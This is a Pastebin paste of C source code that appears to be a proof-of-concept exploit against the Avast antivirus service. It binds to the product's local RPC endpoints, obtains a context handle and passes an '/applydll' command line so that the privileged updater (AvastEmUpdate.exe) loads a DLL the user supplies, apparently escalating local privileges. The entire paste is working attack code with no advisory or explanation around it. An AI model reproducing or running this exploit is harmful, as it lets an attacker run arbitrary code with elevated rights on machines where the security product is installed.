Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #define _UNICODE
  2. #define UNICODE
  3.  
  4. #include <windows.h>
  5. #include <tchar.h>
  6. #include <rpc.h>
  7. #include <strsafe.h>
  8. #include "aswpatchmgmt.h"
  9. #include "aavm4.h"
  10.  
  11. #pragma comment( lib, "rpcrt4.lib" )
  12.  
  13. void __RPC_FAR * __RPC_USER midl_user_allocate( size_t cBytes )
  14. {
  15.     return ( ( void __RPC_FAR * )LocalAlloc( LPTR, cBytes ) );
  16. }
  17.  
  18. void __RPC_USER midl_user_free( void __RPC_FAR * p )
  19. {
  20.     LocalFree( p );
  21. }
  22.  
  23. int _tmain( int argc, TCHAR *argv[] )
  24. {
  25.     RPC_STATUS RpcStatus;
  26.     TCHAR *StringBinding = NULL;
  27.     RPC_BINDING_HANDLE RpcBindingHandle_PatchMgmt = NULL;
  28.     RPC_BINDING_HANDLE RpcBindingHandle_Aavm4 = NULL;;
  29.     LONG lResult, lReturn;
  30.     INT i;
  31.     PVOID pContextHandle = NULL;
  32.     TCHAR szDllPath[MAX_PATH], szCommandLine[MAX_PATH];
  33.  
  34.     if ( argc != 2 )
  35.         return 0;
  36.     if ( GetCurrentDirectory( _countof( szDllPath ),
  37.                               szDllPath ) == 0 )
  38.     {
  39.         _tprintf( _T( "[-] GetCurrentDirectory() failed with error 0x%08x\n" ),
  40.                   GetLastError() );
  41.         return 0;        
  42.     }
  43.     if ( FAILED( StringCchCat( szDllPath,
  44.                                _countof( szDllPath ),
  45.                                _T( "\\" ) ) ) )
  46.         return 0;
  47.     if ( FAILED( StringCchCat( szDllPath,
  48.                                _countof( szDllPath ),
  49.                                argv[1] ) ) )
  50.         return 0;
  51.     if ( FAILED( StringCchCopy( szCommandLine,
  52.                                 _countof( szCommandLine ),
  53.                                 _T( "/applydll " ) ) ) )
  54.         return 0;
  55.     if ( FAILED( StringCchCat( szCommandLine,
  56.                                _countof( szCommandLine ),
  57.                                szDllPath ) ) )
  58.         return 0;
  59.  
  60.     RpcStatus = RpcStringBindingCompose( _T( "dbe95f8e-2be7-4b70-96f3-369be27fa432" ),
  61.                                          _T( "ncalrpc" ),
  62.                                          NULL,
  63.                                          _T( "[Aavm]" ),
  64.                                          NULL,
  65.                                          &StringBinding );
  66.     if ( RPC_S_OK != RpcStatus )
  67.     {
  68.         _tprintf( _T( "[-] RpcStringBindingCompose() failed (0x%08x)\n" ),
  69.                   RpcStatus );
  70.         goto CleanUp;
  71.     }
  72.     _tprintf( _T( "[?] %s\n" ), StringBinding );
  73.  
  74.     RpcStatus = RpcBindingFromStringBinding( StringBinding,
  75.                                              &RpcBindingHandle_PatchMgmt );
  76.     RpcStringFree( &StringBinding );
  77.     if ( RPC_S_OK != RpcStatus )
  78.     {
  79.         _tprintf( _T( "[-] RpcBindingFromStringBinding() failed (0x%08x)\n" ),
  80.                   RpcStatus );
  81.         goto CleanUp;
  82.     }
  83.     RpcStatus = RpcStringBindingCompose( _T( "eb915940-6276-11d2-b8e7-006097c59f07" ),
  84.                                          _T( "ncalrpc" ),
  85.                                          NULL,
  86.                                          _T( "[Aavm]" ),
  87.                                          NULL,
  88.                                          &StringBinding );
  89.     if ( RPC_S_OK != RpcStatus )
  90.     {
  91.         _tprintf( _T( "[-] RpcStringBindingCompose() failed (0x%08x)\n" ),
  92.                   RpcStatus );
  93.         goto CleanUp;
  94.     }
  95.     _tprintf( _T( "[?] %s\n" ), StringBinding );
  96.     RpcStatus = RpcBindingFromStringBinding( StringBinding,
  97.                                              &RpcBindingHandle_Aavm4 );
  98.     if ( RPC_S_OK != RpcStatus )
  99.     {
  100.         _tprintf( _T( "[-] RpcBindingFromStringBinding() failed (0x%08x)\n" ),
  101.                   RpcStatus );
  102.         goto CleanUp;
  103.     }
  104.  
  105.     RpcTryExcept
  106.     {
  107.         lResult = sub_1001AB90( RpcBindingHandle_PatchMgmt,
  108.                                 &pContextHandle );
  109.         _tprintf( _T( "[!] sub_1001AB90() returned 0x%08x (0x%08x)\n" ),
  110.                   lResult,
  111.                   pContextHandle );
  112.     }
  113.     RpcExcept( 1 )
  114.     {
  115.         _tprintf( _T( "[-] An RPC exception has occurred (0x%08x)\n" ),
  116.                   RpcExceptionCode() );
  117.     }
  118.     RpcEndExcept
  119.  
  120.     RpcTryExcept
  121.     {
  122.         lResult = sub_6500CC10( RpcBindingHandle_Aavm4,
  123.                                 pContextHandle,
  124.                                 2, //AvastEmUpdate.exe
  125.                                 szCommandLine,
  126.                                 &lReturn );
  127.         _tprintf( _T( "[!] sub_6500CC10() returned 0x%08x\n" ),
  128.                   lResult );
  129.     }
  130.     RpcExcept( 1 )
  131.     {
  132.         _tprintf( _T( "[-] An RPC exception has occurred (0x%08x)\n" ),
  133.                   RpcExceptionCode() );
  134.     }
  135.     RpcEndExcept
  136.  
  137. CleanUp:
  138.  
  139.     if ( NULL != RpcBindingHandle_Aavm4 )
  140.     {
  141.         RpcBindingFree( &RpcBindingHandle_Aavm4 );
  142.     }
  143.     if ( NULL != RpcBindingHandle_PatchMgmt )
  144.     {
  145.         RpcBindingFree( &RpcBindingHandle_PatchMgmt );
  146.     }
  147.     if ( NULL != StringBinding )
  148.     {
  149.         RpcStringFree( &StringBinding );
  150.     }
  151.  
  152.     return 0;
  153. }